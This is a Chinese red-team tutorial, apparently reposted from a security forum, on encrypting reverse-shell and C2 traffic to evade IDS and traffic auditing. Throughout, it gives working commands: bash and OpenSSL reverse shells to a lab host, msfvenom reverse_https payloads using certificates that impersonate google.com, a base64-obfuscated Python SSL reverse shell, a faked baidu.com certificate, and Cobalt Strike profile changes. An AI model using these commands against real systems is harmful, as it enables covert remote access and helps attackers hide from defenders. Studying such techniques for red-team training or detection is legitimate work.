当攻击方在后渗透阶段需要进行横向渗透时,通常需要反弹shell,如果咱们反弹shell都是明文传输的话,内网的IDS等安全设备会对流量进行分析,检测到有恶意行为,防守方会通过安全设备对攻击流量进行溯源分析,攻击行为就会暴露,因此需要对流量进行加密。
0x00 前言
当攻击方在后渗透阶段需要进行横向渗透时,通常需要反弹shell,如果咱们反弹shell都是明文传输的话,内网的IDS等安全设备会对流量进行分析,检测到有恶意行为,防守方会通过安全设备对攻击流量进行溯源分析,攻击行为就会暴露,因此需要对流量进行加密。
0x01 未加密
在未进行加密的情况下,通过wireshark 抓包可以直接查看输入的命令与返回内容。这些会被IDS/IPS等安全设备检测到,需要进行加密混淆。
- 攻击机执行
nc -lvp 8765
- 目标机执行
bash -i >& /dev/tcp/192.168.211.129/8765 0>&1
Wireshark 抓到一系列数据包,随便追踪一个的TCP流,未加密的情况下,攻击机与目标机之间的通信都是明文传输的,所以流量设备可以很容易查看到攻击者的行为记录。
0x02 OpenSSL
在计算机网络上,OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。
SSL能使用户/服务器应用之间的通信不被攻击者窃听,并且始终对服务器进行认证,还可选择对用户进行认证。SSL协议要求建立在可靠的传输层协议(TCP)之上。SSL协议的优势在于它是与应用层协议独立无关的,高层的应用层协议(例如:HTTP,FTP,TELNET等)能透明地建立于SSL协议之上。SSL协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商及服务器认证工作。在此之后应用层协议所传送的数据都会被加密,从而保证通信的私密性。
0x03 netcat流量加密
攻击机使用OpenSSL生成自签名证书。生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车即可。成功生成后,会有key.pem和cert.pem加密文件。
root@kali:~/桌面# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Generating a RSA private key
...................++++
...............................................++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
在攻击机上使用 OpenSSL 监听端口。此时 OpenSSL 便使用生成的密钥文件在攻击机的 8766 端口上启动了一个 SSL/TLS server
root@kali:~/桌面# openssl s_server -quiet -key key.pem -cert cert.pem -port 8766
在目标机上执行反弹shell命令
giantbranch@ubuntu:~$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.211.129:8766 > /tmp/s; rm /tmp/s
攻击机成功接受到返回的shell并执行命令。使用wireshark抓取两者通信的数据包查看,发现都是乱码,流量已经进行加密。
0x04 Metasploit流量加密
在使用MSF进行内网横向渗透时,由于该工具使用的广泛性,这些流量容易被内网里的流量审计工具检测识别,所以需要我们对它的流量进行加密。
OpenSSL创建证书
攻击机使用OpenSSL模拟google的SSL证书信息,可自己修改其他。生成后,会有www.google.com.pem加密文件。通过cat www.google.com.pem
查看私钥和证书
root@kali:~/桌面# openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \-keyout www.google.com.key \-out www.google.com.crt && \cat www.google.com.key www.google.com.crt > www.google.com.pem && \rm -f www.google.com.key www.google.com.crt
Generating a RSA private key
...............................................++++
..........................++++
writing new private key to 'www.google.com.key'
-----
创建完证书后,我们可以通过MSF创建HTTP或HTTPS类型的有效负载,并为其提供pem格式的证书以用于验证连接。此处可以结合免杀等其他免杀手段。生成后,会有update.exe恶意文件。
root@kali:~/桌面# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.211.129 LPORT=4444 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/桌面/www.google.com.pem StagerVerifySSLCert=true -f exe -o /root/桌面/update.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 514 bytes
Final size of exe file: 73802 bytes
Saved as: /root/桌面/update.exe
- HandlerSSLCert:向处理程序通知所使用的PEM证书。
- StagerVerifySSLCert:当收到一个连接时执行SSL证书验证。
- PayloadUUIDTracking和PayloadUUIDName:可以在监听的时候过滤掉不需要的回连请求。
也可以生成psh类型的木马。生成后,会有shell.bat恶意文件。shell.bat通过运行powersell来获得session。
root@kali:~/桌面# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.211.129 LPORT=4444 PayloadUUIDTracking=true HandlerSSLCert=/root/桌面/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o /root/桌面/shell.bat
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 585 bytes
Final size of psh-cmd file: 7959 bytes
Saved as: /root/桌面/shell.bat
攻击机启动监听。HandlerSSLCert是为了通知处理程序它将使用的证书,StagerVerifySSLCert是为了在接收到连接时执行SSL 证书验证。通过show advanced
查看HandlerSSLCert是否调用了openssl创建的证书以及StagerVerifySSLCert是否开启。
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 192.168.211.129
LHOST => 192.168.211.129
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > set HandlerSSLCert /root/桌面/www.google.com.pem
HandlerSSLCert => /root/桌面/www.google.com.pem
msf6 exploit(multi/handler) > set StagerVerifySSLCert true
StagerVerifySSLCert => true
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://192.168.211.129:4444
将生成好的update.exe或者shell.bat上传到目标主机,并执行得到目标主机的meterpreter。在目标主机通过wireshark抓取数据包发现,流量已经进行加密。
impersonate_ssl模块
Metasploit框架内置 auxiliary/gather/impersonate_ssl 模块,可用来自动从信任源创建一个虚假证书。执行完命令会在/root/.msf4/loot/
下自动生成可信度高的PEM证书,重复上面的步骤使用该证书即可。
msf6 > use auxiliary/gather/impersonate_ssl
msf6 auxiliary(gather/impersonate_ssl) > set RHOST www.baidu.com
RHOST => www.baidu.com
msf6 auxiliary(gather/impersonate_ssl) > run
使用python模块进行加密
通过MSF生成python可执行的payload。默认生成的是python2的脚本。
root@kali:~/.msf4/loot# msfvenom -p cmd/unix/reverse_python_ssl lhost=192.168.211.129 lport=4444
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 629 bytes
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMjExLjEyOScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQpOej1GYWxzZQp3aGlsZSBub3QgTno6CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCU56ID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK')[0]))"
攻击机执行以下命令开启监听:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_python_ssl
payload => cmd/unix/reverse_python_ssl
msf6 exploit(multi/handler) > set lhost 192.168.211.129
lhost => 192.168.211.129
msf6 exploit(multi/handler) > run
[*] Started reverse SSL handler on 192.168.211.129:4444
接下来目标主机使用msf执行生成的payload。因为python 可以使用 -c 参数加载任意代码,我们就直接在代码中使用ssl库加密流量即可。
C:\Users\root\IDA_Pro_v7.0_Portable\python27>python.exe -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMjExLjEyOScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQpOej1GYWxzZQp3aGlsZSBub3QgTno6CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCU56ID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK')[0]))"
成功获取到shell,且经过加密。
msf6 exploit(multi/handler) > run
[*] Started reverse SSL handler on 192.168.211.129:4444
[*] Command shell session 1 opened (192.168.211.129:4444 -> 192.168.211.140:49569) at 2022-02-12 22:35:17 +0800
whoami
root-pc\root
0x05 Cobalt Strike流量加密
Cobalt Strike 是很多红队的首选的攻击神器,应用范围广泛,导致很多IDS入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,很容易被流量检测出来并进行拦截,一旦被安全人员发现就会进行修复。我们生成证书修改C2 profile 加密混淆,实际上就是对流量加密传输,目的为了逃逸流量安全审计。
去除证书特征
cobalt strike默认使用的cobaltstrike.store 证书会被检测 。利用keytool工具生成一个证书。
root@kali:~/桌面/cobaltstrike4.3# keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=US, OU="baidu.com", O="Sofatest", L=Beijing, ST=Cyberspace, C=CN"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
成功生成了一个名为cobaltstrike.store的证书,将其放到 Cobalt Strike 目录里。使用命令查看证书情况,默认密码123456。
root@kali:~/桌面/cobaltstrike4.3# keytool -list -v -keystore cobaltstrike.store
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
输入密钥库口令:
密钥库类型: PKCS12
密钥库提供方: SUN
您的密钥库包含 1 个条目
别名: baidu.com
创建日期: 2022年2月13日
条目类型: PrivateKeyEntry
证书链长度: 1
证书[1]:
所有者: CN=US, OU=baidu.com, O=Sofatest, L=Beijing, ST=Cyberspace, C=CN
发布者: CN=US, OU=baidu.com, O=Sofatest, L=Beijing, ST=Cyberspace, C=CN
序列号: 6eb54229
生效时间: Sun Feb 13 23:04:01 CST 2022, 失效时间: Sat May 14 23:04:01 CST 2022
证书指纹:
SHA1: 68:11:27:4F:CF:07:64:39:A3:F5:2B:12:BA:EA:A4:10:8D:57:7D:9D
SHA256: B2:62:43:AB:C3:CB:3E:57:C3:5A:C5:E4:47:56:45:91:88:46:28:B1:6C:37:FD:F1:80:ED:FF:B8:84:26:5F:F4
签名算法名称: SHA256withRSA
主体公共密钥算法: 2048 位 RSA 密钥
版本: 3
扩展:
#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 0C BE 67 59 34 6F 03 D5 7C 50 60 F9 D2 AC FB 9A ..gY4o...P`.....
0010: 24 1A 4D F5$.M.
]
]
修改 C2-profile 文件
C2-profile 文件是 Cobalt Strike 内置工具,用于控制 Cobalt Strike 流量,可以防止安全设备对流量特征进行监控和拦截。
下载对应cs版本的profile文件,进行修改。主要需要修改的是https-certificate和code-signer两处地方,对应cobaltstrike.store文件中的信息。
##设置证书,注意以下内容得和生成的cobaltstrike.store证书一样
https-certificate {
set keystore "../cobaltstrike.store";
set password "123456";
#set C "CN";
#set CN "US";
#set O "Sofatest";
#set OU "baidu.com";
#set L "Beijing";
#set ST "Cyberspace";
#set validity "365";
}
然后利用 Cobalt Strike 的 c2lint 来检测profile是否存在问题
root@NC:/mnt/f/cobaltstrike/cobaltstrike4.3# ./c2lint ./malleable-c2-master/jquery-c2.4.3.profile
[+] POST 3x check passed
[+] .http-get.server.output size is good
[+] .http-get.client size is good
[+] .http-post.client size is good
[+] .http-get.client.metadata transform+mangle+recover passed (1 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (100 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (128 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (256 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (0 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (1 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (48248 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (1048576 byte[s])
[+] .http-post.client.id transform+mangle+recover passed (4 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (0 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (1 byte[s])
[+] .http-post.client.output POSTs results
[+] .http-post.client.output transform+mangle+recover passed (48248 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (1048576 byte[s])
[+] Beacon profile specifies an HTTP Cookie header. Will tell WinINet to allow this.
[%] [OPSEC] .host_stage is true. Your Beacon payload is available to anyone that connects to your server to request it. Are you OK with this?
[!] .code-signer.keystore is missing. Will not sign executables and DLLs
[+] Found SSL certificate keystore
[!] .https-certificate.password is the default '123456'. Is this really your keystore password?
配置teamserver上线
修改teamserver默认端口-Dcobaltstrike.server_port=49949
后运行。
root@NC:/mnt/f/cobaltstrike/cobaltstrike4.3# ./teamserver 172.26.210.212 123456 ./malleable-c2-master/jquery-c2.4.3.profile
启动 Cobalt Strike连接teamserver后,利用HTTPS进行监听,创建scripted web delivery脚本,发现可以使用ssl证书功能。生产的powershell命令到目标主机执行,成功上线。通过wireshark捕捉到的tcp流量是经过加密传输的乱码形态
- 本文作者: Scorpio_m7
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1443
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!